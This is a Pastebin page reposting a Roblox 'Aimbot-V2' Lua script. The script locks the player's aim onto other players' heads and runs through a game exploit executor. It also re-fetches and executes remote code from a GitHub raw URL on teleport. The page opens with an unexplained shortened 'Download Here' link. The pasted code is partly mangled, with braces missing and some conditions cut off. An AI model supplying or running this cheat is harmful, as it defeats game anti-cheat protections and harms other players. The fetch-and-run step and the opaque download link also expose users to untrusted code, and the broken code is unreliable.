Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -
- Download Here --> https://tinyurl.com/y9f2w95m (Copy and Paste Link)
- Name already in use
- A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
- Aimbot-V2 / Resources / Scripts / Main.lua
- This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- 1 contributor
- Users who have contributed to this file
- Open with Desktop
- View raw
- Copy raw contents Copy raw contents Copy raw contents
- This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
- -- // Preventing Multiple Processes pcall ( function () getgenv (). Aimbot . Functions : Exit () end ) -- // Environment getgenv (). Aimbot = local Environment = getgenv (). Aimbot -- // Services local RunService = game: GetService ( " RunService " ) local UserInputService = game: GetService ( " UserInputService " ) local HttpService = game: GetService ( " HttpService " ) local TweenService = game: GetService ( " TweenService " ) local StarterGui = game: GetService ( " StarterGui " ) local Players = game: GetService ( " Players " ) local Camera = game: GetService ( " Workspace " ). CurrentCamera -- // Variables local LocalPlayer = Players. LocalPlayer local Title = " Exunys Developer " local FileNames = local Typing, Running, Animation, RequiredDistance, ServiceConnections = false , false , nil , 2000 , -- // Support Functions local mousemoverel = mousemoverel or (Input and Input. MouseMove ) local queueonteleport = queue_on_teleport or syn. queue_on_teleport -- // Script Settings Environment. Settings = SendNotifications = true , SaveSettings = true , -- Re-execute upon changing ReloadOnTeleport = true , Enabled = true , TeamCheck = false , AliveCheck = true , WallCheck = false , -- Laggy Sensitivity = 0 , -- Animation length (in seconds) before fully locking onto target ThirdPerson = false , -- Uses mousemoverel instead of CFrame to support locking in third person (could be choppy) ThirdPersonSensitivity = 3 , -- Boundary: 0.1 - 5 TriggerKey = " MouseButton2 " , Toggle = false , LockPart = " Head " -- Body part to lock on > Environment. FOVSettings = Enabled = true , Visible = true , Amount = 90 , Color = " 255, 255, 255 " , LockedColor = " 255, 70, 70 " , Transparency = 0.5 , Sides = 60 , Thickness = 1 , Filled = false > Environment. FOVCircle = Drawing. new ( " Circle " ) Environment. Locked = nil -- // Core Functions local function Encode ( Table ) if Table and type (Table) == " table " then local EncodedTable = HttpService: JSONEncode (Table) return EncodedTable end end local function Decode ( String ) if String and type (String) == " string " then local DecodedTable = HttpService: JSONDecode (String) return DecodedTable end end local function GetColor ( Color ) local R = tonumber ( string.match (Color, " ([%d]+)[%s]*,[%s]*[%d]+[%s]*,[%s]*[%d]+ " )) local G = tonumber ( string.match (Color, " [%d]+[%s]*,[%s]*([%d]+)[%s]*,[%s]*[%d]+ " )) local B = tonumber ( string.match (Color, " [%d]+[%s]*,[%s]*[%d]+[%s]*,[%s]*([%d]+) " )) return Color3. fromRGB (R, G, B) end local function SendNotification ( TitleArg , DescriptionArg , DurationArg ) if Environment. Settings . SendNotifications then StarterGui: SetCore ( " SendNotification " , Title = TitleArg, Text = DescriptionArg, Duration = DurationArg >) end end -- // Functions local function SaveSettings () if Environment. Settings . SaveSettings then if isfile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 2 ]) then writefile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 2 ], Encode (Environment. Settings )) end if isfile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 3 ]) then writefile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 3 ], Encode (Environment. FOVSettings )) end end end local function GetClosestPlayer () if not Environment. Locked then if Environment. FOVSettings . Enabled then RequiredDistance = Environment. FOVSettings . Amount else RequiredDistance = 2000 end for _, v in next, Players: GetPlayers () do if v ~= LocalPlayer then if v. Character and v. Character : FindFirstChild (Environment. Settings . LockPart ) and v. Character : FindFirstChildOfClass ( " Humanoid " ) then if Environment. Settings . TeamCheck and v. Team == LocalPlayer. Team then continue end if Environment. Settings . AliveCheck and v. Character : FindFirstChildOfClass ( " Humanoid " ). Health if Environment. Settings . WallCheck and # (Camera: GetPartsObscuringTarget (, v. Character : GetDescendants ())) > 0 then continue end local Vector, OnScreen = Camera: WorldToViewportPoint (v. Character [Environment. Settings . LockPart ]. Position ) local Distance = (Vector2. new (UserInputService: GetMouseLocation (). X , UserInputService: GetMouseLocation (). Y ) - Vector2. new (Vector. X , Vector. Y )). Magnitude if Distance RequiredDistance = Distance Environment. Locked = v end end end end elseif (Vector2. new (UserInputService: GetMouseLocation (). X , UserInputService: GetMouseLocation (). Y ) - Vector2. new (Camera: WorldToViewportPoint (Environment. Locked . Character [Environment. Settings . LockPart ]. Position ). X , Camera: WorldToViewportPoint (Environment. Locked . Character [Environment. Settings . LockPart ]. Position ). Y )). Magnitude > RequiredDistance then Environment. Locked = nil Animation: Cancel () Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . Color ) end end -- // Typing Check ServiceConnections. TypingStartedConnection = UserInputService. TextBoxFocused : Connect ( function () Typing = true end ) ServiceConnections. TypingEndedConnection = UserInputService. TextBoxFocusReleased : Connect ( function () Typing = false end ) -- // Create, Save & Load Settings if Environment. Settings . SaveSettings then if not isfolder (Title) then makefolder (Title) end if not isfolder (Title .. " / " .. FileNames[ 1 ]) then makefolder (Title .. " / " .. FileNames[ 1 ]) end if not isfile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 2 ]) then writefile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 2 ], Encode (Environment. Settings )) else Environment. Settings = Decode ( readfile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 2 ])) end if not isfile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 3 ]) then writefile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 3 ], Encode (Environment. FOVSettings )) else Environment. Visuals = Decode ( readfile (Title .. " / " .. FileNames[ 1 ] .. " / " .. FileNames[ 3 ])) end coroutine.wrap ( function () while wait ( 10 ) and Environment. Settings . SaveSettings do SaveSettings () end end )() else if isfolder (Title) then delfolder (Title) end end local function Load () ServiceConnections. RenderSteppedConnection = RunService. RenderStepped : Connect ( function () if Environment. FOVSettings . Enabled and Environment. Settings . Enabled then Environment. FOVCircle . Radius = Environment. FOVSettings . Amount Environment. FOVCircle . Thickness = Environment. FOVSettings . Thickness Environment. FOVCircle . Filled = Environment. FOVSettings . Filled Environment. FOVCircle . NumSides = Environment. FOVSettings . Sides Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . Color ) Environment. FOVCircle . Transparency = Environment. FOVSettings . Transparency Environment. FOVCircle . Visible = Environment. FOVSettings . Visible Environment. FOVCircle . Position = Vector2. new (UserInputService: GetMouseLocation (). X , UserInputService: GetMouseLocation (). Y ) else Environment. FOVCircle . Visible = false end if Running and Environment. Settings . Enabled then GetClosestPlayer () if Environment. Settings . ThirdPerson then Environment. Settings . ThirdPersonSensitivity = math. clamp (Environment. Settings . ThirdPersonSensitivity , 0.1 , 5 ) local Vector = Camera: WorldToViewportPoint (Environment. Locked . Character [Environment. Settings . LockPart ]. Position ) mousemoverel ((Vector. X - UserInputService: GetMouseLocation (). X ) * Environment. Settings . ThirdPersonSensitivity , (Vector. Y - UserInputService: GetMouseLocation (). Y ) * Environment. Settings . ThirdPersonSensitivity ) else if Environment. Settings . Sensitivity > 0 then Animation = TweenService: Create (Camera, TweenInfo. new (Environment. Settings . Sensitivity , Enum. EasingStyle . Sine , Enum. EasingDirection . Out ), ) Animation: Play () else Camera. CFrame = CFrame. new (Camera. CFrame . Position , Environment. Locked . Character [Environment. Settings . LockPart ]. Position ) end end Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . LockedColor ) end end ) ServiceConnections. InputBeganConnection = UserInputService. InputBegan : Connect ( function ( Input ) if not Typing then pcall ( function () if Input. KeyCode == Enum. KeyCode [Environment. Settings . TriggerKey ] then if Environment. Settings . Toggle then Running = not Running if not Running then Environment. Locked = nil Animation: Cancel () Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . Color ) end else Running = true end end end ) pcall ( function () if Input. UserInputType == Enum. UserInputType [Environment. Settings . TriggerKey ] then if Environment. Settings . Toggle then Running = not Running if not Running then Environment. Locked = nil Animation: Cancel () Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . Color ) end else Running = true end end end ) end end ) ServiceConnections. InputEndedConnection = UserInputService. InputEnded : Connect ( function ( Input ) if not Typing then pcall ( function () if Input. KeyCode == Enum. KeyCode [Environment. Settings . TriggerKey ] then if not Environment. Settings . Toggle then Running = false Environment. Locked = nil Animation: Cancel () Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . Color ) end end end ) pcall ( function () if Input. UserInputType == Enum. UserInputType [Environment. Settings . TriggerKey ] then if not Environment. Settings . Toggle then Running = false Environment. Locked = nil Animation: Cancel () Environment. FOVCircle . Color = GetColor (Environment. FOVSettings . Color ) end end end ) end end ) end -- // Functions Environment. Functions = function Environment. Functions : Exit () SaveSettings () for _, v in next, ServiceConnections do v: Disconnect () end if Environment. FOVCircle . Remove then Environment. FOVCircle : Remove () end getgenv (). Aimbot . Functions = nil getgenv (). Aimbot = nil end function Environment. Functions : Restart () SaveSettings () for _, v in next, ServiceConnections do v: Disconnect () end Load () end function Environment. Functions : ResetSettings () Environment. Settings = SendNotifications = true , SaveSettings = true , -- Re-execute upon changing ReloadOnTeleport = true , Enabled = true , TeamCheck = false , AliveCheck = true , WallCheck = false , Sensitivity = 0 , -- Animation length (in seconds) before fully locking onto target ThirdPerson = false , ThirdPersonSensitivity = 3 , TriggerKey = " MouseButton2 " , Toggle = false , LockPart = " Head " -- Body part to lock on > Environment. FOVSettings = Enabled = true , Visible = true , Amount = 90 , Color = " 255, 255, 255 " , LockedColor = " 255, 70, 70 " , Transparency = 0.5 , Sides = 60 , Thickness = 1 , Filled = false > end -- // Support Check if not Drawing or not getgenv then SendNotification (Title, " Your exploit does not support this script " , 3 ); return end -- // Reload On Teleport if Environment. Settings . ReloadOnTeleport then if queueonteleport then queueonteleport (game: HttpGet ( " https://raw.githubusercontent.com/Exunys/Aimbot-V2/main/Resources/Scripts/Main.lua " )) else SendNotification (Title, " Your exploit does not support \" syn.queue_on_teleport() \" " ) end end -- // Load Load (); SendNotification (Title, " Aimbot script successfully loaded! Check the GitHub page on how to configure the script. " , 5 )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement